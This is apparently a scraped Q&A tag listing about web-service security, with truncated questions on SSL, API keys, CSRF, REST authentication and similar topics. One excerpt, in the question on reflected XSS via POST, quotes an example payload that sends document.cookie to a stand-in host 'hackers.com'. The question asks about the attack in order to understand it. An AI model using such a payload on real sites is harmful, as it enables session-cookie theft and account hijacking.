A web service is application that provides a standard means of interoperating between different software applications, running on a variety of platforms and/or frameworks - typically using HTTP or HTTPS as a transport layer for object and request models (SOAP, REST, JSON, etc). The output isn't ...

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1answer
59 views
+200

Security in large-scale SOAs

Let's assume a service-oriented architecture (SOA) with hundreds of services. The services are completely isolated – what is behind their APIs is an implementation detail. Different services can have ...
2
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1answer
83 views

Encrypt Android app data and send to web service

I want to develop an Android app that may contain sensitive personally identifying information (national ID number, phone number, etc.) among other data that will be stored in an Android phone. Let's ...
1
vote
1answer
23 views

Secure Azure to Data Centre Web Service Calls via Trusted IP?

Background The company I work for have a system with some data. This system's hosted in our private data centre. This system provides some ReST web services. We're looking to create a website, hosted ...
4
votes
1answer
140 views

Is there any risk to enabling CORS with a wildcard on S3?

By default, Amazon S3 blocks cross-origin requests. However, it allows users the ability to set up per-bucket CORS policies. It offers fairly elaborate controls for which domains and methods the user ...
2
votes
4answers
3k views

What does scorecardsresearch.com/beacon.js - added by Disqus.com - do?

I recently added Disqus to my site. Looking at the "scripts" tab on Firebug, I noticed a script called, http://scorecardresearch.com/beacon.js (here is a prettified version - the script is not ...
1
vote
1answer
106 views

Is it illegal to publicly reveal security flaws in a service? [closed]

Mainly I'm interested in UK law on this, but I welcome input from any jurisdiction. I discovered flaws in a service that undermined the security of all its user's data. This is a service where users ...
1
vote
1answer
58 views

What popular online services allow passwordless authentication using digital signatures? [closed]

I am looking for web services that allow clients to authenticate using digital signatures. Especially with e-commerce and payments, clients generally authenticate using name and password (sometimes ...
2
votes
0answers
343 views

How to secure API (private key) for mobile apps

I am building a web service that has to be only accessible for iOS apps. In the future I want to expand to a mobile website to make my service also available for other mobile operating systems. Now, ...
1
vote
2answers
88 views

REST security standards

As far as I know, SOAP services have security standards recognized by OASIS and W3C, such as: XML-Encryption XML-Signature SAML Are there any security standards for RESTful services?
12
votes
2answers
411 views

How can I prevent that my users get a certificate issued for my domain on my behalf?

I have a domain, where some other users have access to upload files, use email, use XMPP, etc. How can I prevent that these users go to a certificate authority and get a certificate for my domain? ...
2
votes
0answers
50 views

Windows Authentication to protect API

One of my colleagues has a web api call that is checking that the user is logged in and his token matches what is in session (thanks to all of you for your help). Let's say this is layer blue. After ...
1
vote
1answer
83 views

Is this where a nonce comes into play?

I'm reviewing a website a friend developed, and was looking for general errors and concerns. In reviewing I noticed he is very heavy on ajax calls using JSON to a RESTful API that he maintains on a ...
0
votes
1answer
39 views

Is it reasonable to use a security proxy when integrating two web applications?

Background: We're in the process of integrating two web applications. The other one, application A, is a publicly accessible Internet service, which is provided by a third party and which offers Web ...
1
vote
1answer
491 views

Authenticating Users from Android with PHP Webservice

Im creating a simple Android Application,which requires reading and writing values to the cloud.I intent to use PHP for the webservice. But im little confused over the authentication scheme.I intent ...
1
vote
2answers
238 views

POST over HTTPS “secure enough” for sensitive data?

I'm wondering if to prevent the possibility of a compromised SSL certificate leading to the potential for sensitive information disclosure if it might be prudent to further encrypt data being passed ...
-1
votes
2answers
104 views

Are there any mail services that don't store encryption keys?

According to this article => http://www.howtogeek.com/166507/why-most-web-services-dont-use-end-to-end-encryption/ Gmail doesn't store the encryption key. But Gmail reads whole of users' email for ...
1
vote
1answer
62 views

Blocking Internet Monitoring Software

So if a provider has software that blocks you from using their internet to connect to, say, Spotify or Skype. Is there a way to block your computer from communicating that this program is running? Or ...
1
vote
0answers
43 views

Need help to Webservice in Axis2 with https in java

I have written my webservice with https. but as per requirement i should provide authentication. so thought of going with https ssl. could any one help me with steps like moving http to https and ssl ...
2
votes
1answer
72 views

HMAC needed with SSL/AccessToken in place?

Is using an HMAC in web service messages overkill if you are already using SSL and Access Tokens? I’m thinking of further ways to secure a service, and HMAC message signing is one. But it comes with ...
-1
votes
2answers
81 views

Executing PHP WeService script by clicking a link within an e-mail

I'm receiving e-mail from my PHP/MySQL application with certain links. I was thinking on including an UUID as part of the link, which would point to a Web Service that ONLY reads those UUIDs. Those ...
1
vote
2answers
87 views

How to securely provide data to a web server using a data warehouse?

We have a data warehouse that stores prices for our products. Once every business day, new data points are added representing the day's price for each product. On the website, a user sees this ...
3
votes
1answer
96 views

Storing product keys on same server as shop?

Situation: An e-commerce system (specifically: PrestaShop) which is used to sell virtual products (specifically: product license keys). To accelerate order processing, a cronjob is supposed to be ...
1
vote
1answer
81 views

How do you limit javascript api to a domain?

Ok, many of you now the scenario: you login to developer.sayLinkedIn.com, create an app with credentials and define the domain in witch that key is allowed to "run". The question is, from a api ...
0
votes
1answer
71 views

Service TO Service Authentication & authorization [duplicate]

I have two web services A and B the requests between those services is http. I want so establish a secure connection between service A and service B to ensure the authorized and authenticate request ...
0
votes
1answer
136 views

Does a malicious android WebView break the DoubleSubmittCookie countermeasure against CSRF?

Initial situation: A RESTful webservice defends against CSRF attacks by using the double submit cookie approach. This means that the authentication token gets submitted twice and verified at the ...
0
votes
3answers
101 views

Does semi-sensitive information demand encryption / security? [closed]

Since it's been requested that this question be rewritten: Is SSL (or some other encryption equivalent) required in the below case? From a small local business website, is there any damage that an ...
1
vote
1answer
128 views

Is it possible to create secure streaming server

Right now I am thinking for a way to create a secure video streaming server with the following assumption: people can be trusted not to distribute the video they have rights to see. (I think in ...
3
votes
2answers
314 views

Is there a spreadsheet/template for Mapping WebServices Authorization Rules?

I'm looking for a spreadsheet/template that allows the business-rules (i.e. 'who has access to what') to be mapped, visualized and analyzed. In the past I have created a couple of these (some even ...
2
votes
3answers
336 views

What type of SSL certificate do I need for communications between an Android app and a web service?

I am developing a game for Android. The customers using the game will have to send their information to a REST web service that, behind the scenes, will be connected to a MySQL database. I would ...
0
votes
1answer
53 views

Decentralized online shopping service [closed]

Would it be possible to create an online shopping service like Amazon (or Silk Road) but also to make it decentralized so there would no main server users would have to trust with their data? I ...
1
vote
3answers
561 views

Task Manager and Keyloggers

I know that some of the best keyloggers can't be viewed from the Task Manager. Where can one see if such keyloggers are running on the system? Will they be in the Windows Services or are they hidden ...
1
vote
0answers
63 views

Untrusted central server and self-hosted/local client

I am wanting to develop a web service (classic client/server) where the server is not trusted, so is kept (cryptographically) ignorant about the actual content/messages. Obviously, if you don't trust ...
1
vote
2answers
133 views

API - Security design issues

I'm building a GUI Desktop application that will communicate with an API(http) in a webserver. In the client side I have a GUI Desktop application and a GSM Modem(hardware). The GUI Desktop ...
-1
votes
1answer
111 views

Location of server affects the speed of page loading? [closed]

i live in a country but i make a website for another country's users. The web hosting company has server in both of the countries. So where should i buy? Does it affects where the server is depending ...
2
votes
1answer
333 views

Expose web service in a secure manner

Requirement I have a web service I need to expose on the DMZ for external communication. The web service communicates directly with a critical database that sits on an internal net. Current ...
0
votes
2answers
121 views

Would multiple exposed bcrypt hashes of the same UUID v4 with random generated salt be too insecure?

I'm looking into implementing an ownership check on JSON objects and want to avoid going back to the database to ensure ownership of said object/record (i.e., to prevent a user from updating an ...
5
votes
3answers
1k views

Are there faux/fake malicious websites to test web reputation services similar to EICAR?

Antivirus writers have agreed for their software to recognize a standard "fake" virus file - the EICAR file, to let users check, that the software is up and running. Are there any equivalent test ...
2
votes
2answers
210 views

Web Service Security Checklist - Tracing and Debugging

I have been reading this security checklist about web service design: http://msdn.microsoft.com/en-us/library/ff648304.aspx One of the suggestions is that you should disable the following in ...
1
vote
2answers
2k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
0
votes
3answers
2k views

Malware Suddenly Uploaded To My Website! [duplicate]

This is my first question here on the IT Security section of Stack Exchange, so if there is any problems with my question I apologize. Basics Suddenly Google says that my website contains Malware! ...
4
votes
2answers
438 views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
4
votes
1answer
402 views

CSRF prevention for RESTful services

Am I right If I claim on that there doesn't exist any reliable protection against CSRF for a stateles environment today? I have a RESTful service (build with RESTEasy) that needs to be secured against ...
1
vote
2answers
182 views

Web Services and WSDL Documentation Protocol

Let us assume that I have a web service in an ASP.NET project. If I turn off the WSDL documentation protocol, will other users be able to: add a service reference to the web service? discover the ...
5
votes
1answer
173 views

Custom web authentication scheme

For a project at work I'm currently implementing a not too large webservice. For reasons of learning something new I tried making it a REST service, which then prompted the issue of authentication. I ...
3
votes
2answers
1k views

Checking SSL\TLS servers for null encryption support

I have a web server supporting SSL 3 and TLS protocols , the following are the supported cipher suites. TLS_RSA_WITH_RC4_128_MD5 TLS_RSA_WITH_RC4_128_SHA TLS_RSA_WITH_3DES_EDE_CBC_SHA How can i ...
1
vote
1answer
311 views

Web application vs web service security

My question is about the difference between usual security expectations from a web application (intended to browser navigation) vs SOAP web service. For a web application, an acceptable solution for ...
0
votes
2answers
166 views

Securing a web service consumed by chrome extension

I'm trying to think of a good security method to secure a web service consumed by a google extension. As known, google chrome extension's source code is open to anyone. My extension mainly deals with ...
2
votes
1answer
229 views

WSS (WSS4J): cleartext password in UsernameToken vs salted password hash in database

I'm currently struggling a little with the security layer of a web service I'm writing using WSS4J and CXF. We obviously do not wish to store plaintext passwords in our backend, but would prefer to ...
5
votes
2answers
87 views

Preventing fraudulent access to restriced resource on the web?

I'm working on a web application along with a web API and I've been warned against what seems to be a basic vulnerability: not checking that the user making an action has sufficient privileges on the ...
1
vote
1answer
129 views

How safe is WSIT username authentication with symmetric key?

I have an ajax-ws web service (exposed via glassfish) that uses username authentication with a symmetric key to encrypt and authenticate clients(link). How secure is this mechanism? Is this enough to ...